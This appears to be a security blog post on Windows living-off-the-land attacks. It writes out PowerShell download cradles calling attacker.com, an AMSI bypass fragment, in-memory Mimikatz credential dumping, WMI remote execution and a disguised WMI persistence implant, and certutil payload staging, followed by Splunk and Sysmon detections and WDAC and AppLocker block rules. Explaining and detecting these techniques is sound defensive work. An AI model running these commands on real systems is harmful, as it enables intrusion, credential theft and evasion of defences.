APT29 did not land on the DNC network in 2016 with custom malware. They used PowerShell Empire — a framework built entirely on Windows’ own scripting infrastructure. The SolarWinds attackers deployed TEARDROP as a memory-only shellcode loader. Carbanak stole over $1 billion from banks using WMI and PowerShell for persistence and lateral movement without dropping traditional malware files.

Living Off the Land (LOTL) attacks are not a niche technique — they are the standard operating procedure for every serious threat actor today. The fundamental insight is elegant: if you use the operating system’s own tools, your activity looks like the operating system’s own activity.

This post provides the technical depth to understand exactly what these attacks look like in execution and the detection infrastructure needed to find them.


The LOLBin Arsenal: Commonly Abused Binaries

BinaryPrimary AbuseMITRE Technique
powershell.exe / pwsh.exeDownload cradles, execution, C2T1059.001
certutil.exeBase64 decode, file downloadT1140, T1105
mshta.exeExecute HTA/VBScript remotelyT1218.005
regsvr32.exeLoad COM scriptlets (Squiblydoo)T1218.010
rundll32.exeExecute DLL exportsT1218.011
wmic.exeProcess creation, WMI persistenceT1047
cmstp.exeUAC bypass, INF executionT1218.003
msiexec.exeRemote MSI payload stagingT1218.007
bitsadmin.exeBackground file downloadT1197
forfiles.exeCommand execution bypassT1202
installutil.exeBypass AppLocker via .NETT1218.004
regasm.exeExecute .NET assembliesT1218.009
odbcconf.exeExecute DLL via ODBC configT1218.008

The complete and regularly updated catalog is maintained at LOLBAS Project.


PowerShell Attack Techniques

Download Cradles

Download cradles fetch and execute remote code in memory. The following are real examples observed in threat actor campaigns:

 1# Classic IEX download cradle — simplest form
 2IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
 3
 4# Alias obfuscation — common in APT29 / Cozy Bear tooling
 5$c = New-Object Net.WebClient
 6$c.Proxy = [Net.WebRequest]::GetSystemWebProxy()
 7$c.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
 8IEX $c.DownloadString('http://attacker.com/p')
 9
10# Using Invoke-WebRequest (slower but works through proxy auth)
11IEX (Invoke-WebRequest -Uri 'http://attacker.com/payload.ps1' -UseDefaultCredentials).Content
12
13# String concatenation to evade AMSI signature matching
14$u = 'http://attac' + 'ker.com/pay' + 'load.ps1'
15IEX (New-Object Net.WebClient).DownloadString($u)
16
17# Base64-encoded command (common delivery via phishing)
18powershell.exe -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA...
19
20# Hiding with -WindowStyle Hidden -NonInteractive
21powershell.exe -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand [BASE64]

AMSI Bypass

AMSI scans PowerShell content before execution. The most reliable bypass patches the AmsiScanBuffer function in memory to return a clean result:

 1# AMSI bypass via memory patch — reconstructed from public research
 2# (Matt Graeber's original technique, widely copied and modified)
 3# This is for educational/detection purposes; real variants use obfuscation
 4
 5$a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -match 'Amsi' }
 6$b = $a.GetFields('NonPublic,Static') | Where-Object { $_.Name -match 'Context' }
 7$c = $b.GetValue($null)
 8
 9# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN (0)
10$marshal = [Runtime.InteropServices.Marshal]
11$ptr = [IntPtr]($c.ToInt64())
12$oldProtect = 0
13$VirtualProtect = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
14    (Get-ProcAddress kernel32.dll VirtualProtect), [type]
15)
16# NOTE: Modern EDR products detect this memory patching attempt via kernel callbacks

Defenders should note that EDR kernel-level callbacks (ETW, PatchGuard bypass detection) catch most in-memory AMSI bypass attempts. Enabling Windows Defender Tamper Protection prevents disabling AMSI via registry.

Invoke-Mimikatz via Reflective Loading

APT29 and other groups load Mimikatz entirely in memory using PowerShell reflection:

1# PowerShell Empire-style reflective Mimikatz load
2# Pulls PE from remote location, loads it without touching disk
3
4$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/m.bin')
5$assembly = [Reflection.Assembly]::Load($bytes)
6$entryPoint = $assembly.GetType('mimikatz').GetMethod('sekurlsa::logonpasswords')
7$entryPoint.Invoke($null, $null)

The key operational detail: no file is written to disk. LSASS memory is accessed via the loaded .NET assembly’s own process memory calls. File-based AV sees nothing. Process-injection-aware EDR with LSASS tamper protection catches this via API hooking of OpenProcess(PROCESS_VM_READ, lsass.exe).


WMI Attack Techniques

WMI Process Creation (T1047)

1# Remote process creation via WMI — used for lateral movement
2wmic /node:192.168.1.50 /user:DOMAIN\Admin /password:Password123 process call create "powershell.exe -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://c2/p')"
3
4# Local process launch via WMI (bypasses some AV that hooks CreateProcess)
5wmic process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

WMI Persistence (T1546.003)

WMI subscriptions are the gold standard for fileless persistence. They survive reboots and do not appear in the standard autoruns locations (registry Run keys, scheduled tasks, services):

 1# Create a WMI event subscription for persistence
 2# Triggers on system startup (Win32_VolumeChangeEvent or __InstanceModificationEvent)
 3
 4# Step 1: Create the event filter (what to watch for)
 5$filterArgs = @{
 6    Name = 'WindowsUpdate'
 7    EventNamespace = 'root\cimv2'
 8    QueryLanguage = 'WQL'
 9    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
10}
11$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $filterArgs
12
13# Step 2: Create the event consumer (what to run)
14$consumerArgs = @{
15    Name = 'WindowsUpdate'
16    CommandLineTemplate = 'powershell.exe -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2.attacker.com/implant'')"'
17}
18$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $consumerArgs
19
20# Step 3: Bind filter to consumer
21$bindArgs = @{
22    Filter = [Ref] $filter
23    Consumer = [Ref] $consumer
24}
25New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $bindArgs

To audit existing WMI subscriptions:

1# List all WMI event subscriptions — run on all endpoints as part of threat hunt
2Get-CimInstance -Namespace root/subscription -ClassName __EventFilter |
3    Select-Object Name, Query, EventNamespace
4
5Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer |
6    Select-Object Name, CommandLineTemplate
7
8Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding

certutil Payload Staging

certutil.exe is Microsoft’s certificate management tool. It has a built-in Base64 decode capability that attackers use to unpack payloads:

 1# Encode a payload for staging
 2certutil -encode malware.exe malware.b64
 3
 4# Decode on target — attacker uploads the .b64 file, then decodes it
 5certutil -decode malware.b64 malware.exe
 6
 7# Direct download using certutil (bypasses some proxy controls)
 8certutil -urlcache -split -f "http://attacker.com/payload.exe" payload.exe
 9
10# Certutil can also fetch and decode in one step
11certutil -urlcache -split -f "http://attacker.com/payload.b64" payload.b64 && certutil -decode payload.b64 payload.exe

Any execution of certutil.exe with -urlcache or -decode parameters on a workstation or server should be treated as high-priority suspicious activity. There are essentially no legitimate business reasons for a standard user or service to run these commands.


APT29 PowerShell Empire: Real-World Context

APT29 (Cozy Bear) used PowerShell Empire in the 2016 DNC breach and subsequent campaigns. Empire is a post-exploitation framework built entirely on PowerShell (Windows) and Python (Linux), designed explicitly to avoid touching disk.

Their documented tradecraft included:

  1. Initial access: Phishing with malicious macro that launches PowerShell cradle.
  2. Execution: Empire agent loaded reflectively via IEX — no file on disk.
  3. Persistence: WMI subscription or scheduled task launching an Empire stager.
  4. Lateral movement: Invoke-Mimikatz for credential harvesting, then Invoke-PsExec or WMI for lateral movement.
  5. C2: HTTP/HTTPS beaconing to compromised WordPress sites to blend into normal web traffic.

The entire chain was PowerShell — detectable only via Script Block Logging, AMSI integration, and behavioral analysis.


Detection

PowerShell Script Block Logging (Event ID 4104)

Enable via Group Policy or Registry:

# GPO Path:
# Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
# Enable: Turn on PowerShell Script Block Logging

# Registry equivalent:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockInvocationLogging /t REG_DWORD /d 1 /f

Splunk query for malicious PowerShell patterns:

index=windows EventCode=4104
(
    ScriptBlockText="*IEX*" OR
    ScriptBlockText="*Invoke-Expression*" OR
    ScriptBlockText="*DownloadString*" OR
    ScriptBlockText="*DownloadData*" OR
    ScriptBlockText="*Net.WebClient*" OR
    ScriptBlockText="*AmsiScanBuffer*" OR
    ScriptBlockText="*sekurlsa*" OR
    ScriptBlockText="*Mimikatz*" OR
    ScriptBlockText="*-EncodedCommand*"
)
| rex field=ScriptBlockText "(?P<url>https?://[^\s'\"]+)"
| table _time, host, user, ScriptBlockText, url
| sort - _time

Sysmon Event IDs for LOLBin Detection

Configure Sysmon with the SwiftOnSecurity template and monitor:

Event IDDescriptionLOLBin Detection
1Process Createcertutil with -urlcache, mshta with http://, regsvr32 with /s /u /i:http
3Network Connectionpowershell.exe, wscript.exe, mshta.exe making outbound connections
7Image LoadUnsigned DLLs loaded by signed processes
11File CreateExecutable files created in temp/user directories
12/13Registry Create/SetWMI subscription registry artifacts
20/21WMI Event Filter/ConsumerDirect WMI persistence detection

Sysmon config snippet to catch certutil download:

 1<ProcessCreate onmatch="include">
 2    <CommandLine condition="contains">certutil</CommandLine>
 3    <CommandLine condition="contains">urlcache</CommandLine>
 4</ProcessCreate>
 5
 6<ProcessCreate onmatch="include">
 7    <Image condition="end with">mshta.exe</Image>
 8    <CommandLine condition="contains">http</CommandLine>
 9</ProcessCreate>
10
11<ProcessCreate onmatch="include">
12    <Image condition="end with">regsvr32.exe</Image>
13    <CommandLine condition="contains">/i:http</CommandLine>
14</ProcessCreate>

Splunk SPL: Detect WMI persistence creation (Sysmon Events 20/21):

index=sysmon (EventCode=20 OR EventCode=21)
| eval event_type = case(
    EventCode=20, "WMI Event Filter Created",
    EventCode=21, "WMI Event Consumer Created"
  )
| table _time, host, user, event_type, Name, Query, Destination
| sort - _time

WMI Activity Log (Event IDs 5857/5860/5861)

Enable via: wevtutil sl Microsoft-Windows-WMI-Activity/Operational /e:true

index=windows source="Microsoft-Windows-WMI-Activity/Operational"
(EventCode=5857 OR EventCode=5860 OR EventCode=5861)
| table _time, host, EventCode, Message

Defense and Mitigation

1. Windows Defender Application Control (WDAC)

WDAC is the strongest control for LOLBin abuse. When a WDAC policy is in place, execution of unsigned scripts and unauthorized executables is blocked at the kernel level:

 1<!-- WDAC Policy snippet — enforce Constrained Language Mode for PowerShell -->
 2<SigningScenarios>
 3  <SigningScenario Value="131" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="Auto generated policy on...">
 4    <ProductSigners>
 5      <AllowedSigners>
 6        <!-- Allow Microsoft-signed binaries -->
 7        <AllowedSigner SignerId="ID_SIGNER_WINDOWS" />
 8      </AllowedSigners>
 9    </ProductSigners>
10  </SigningScenario>
11</SigningScenarios>

Deploy via MDM/Intune or Group Policy. Start in Audit mode before switching to Enforce mode to catalog legitimate software.

2. PowerShell Constrained Language Mode

With an active WDAC policy, PowerShell automatically enters CLM. To test:

 1# Check current language mode
 2$ExecutionContext.SessionState.LanguageMode
 3# Returns: ConstrainedLanguage (if WDAC policy active)
 4# Returns: FullLanguage (if no policy — vulnerable)
 5
 6# CLM blocks:
 7# - Add-Type
 8# - New-Object with COM/interop
 9# - [Reflection.Assembly]::Load()
10# - Invoke-Expression with certain .NET types

3. AppLocker Rules for LOLBin Restriction

Where WDAC is not yet deployed, AppLocker can restrict specific high-risk LOLBins:

 1<!-- AppLocker rule: block certutil.exe for standard users -->
 2<FilePathRule Id="..." Action="Deny" UserOrGroupSid="S-1-1-0" Description="Block certutil abuse">
 3  <Conditions>
 4    <FilePathCondition Path="%SYSTEM32%\certutil.exe" />
 5  </Conditions>
 6</FilePathRule>
 7
 8<!-- Block mshta.exe -->
 9<FilePathRule Id="..." Action="Deny" UserOrGroupSid="S-1-1-0" Description="Block mshta abuse">
10  <Conditions>
11    <FilePathCondition Path="%SYSTEM32%\mshta.exe" />
12  </Conditions>
13</FilePathRule>

Note: AppLocker DLL rules carry a performance penalty. Apply selectively.

4. AMSI Hardening

  • Enable Tamper Protection in Windows Defender to prevent AMSI from being disabled via registry or process injection.
  • Use an EDR with kernel-level AMSI integration (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) that detects AmsiScanBuffer patch attempts via ETW callbacks.
  • Deploy Windows Defender Credential Guard to protect LSASS memory from reflective injection reads.

5. PowerShell v2 Removal

PowerShell v2 lacks AMSI integration and Script Block Logging. Remove it:

1# Check if PowerShell v2 is enabled
2Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
3
4# Disable PowerShell v2
5Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
6Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2


References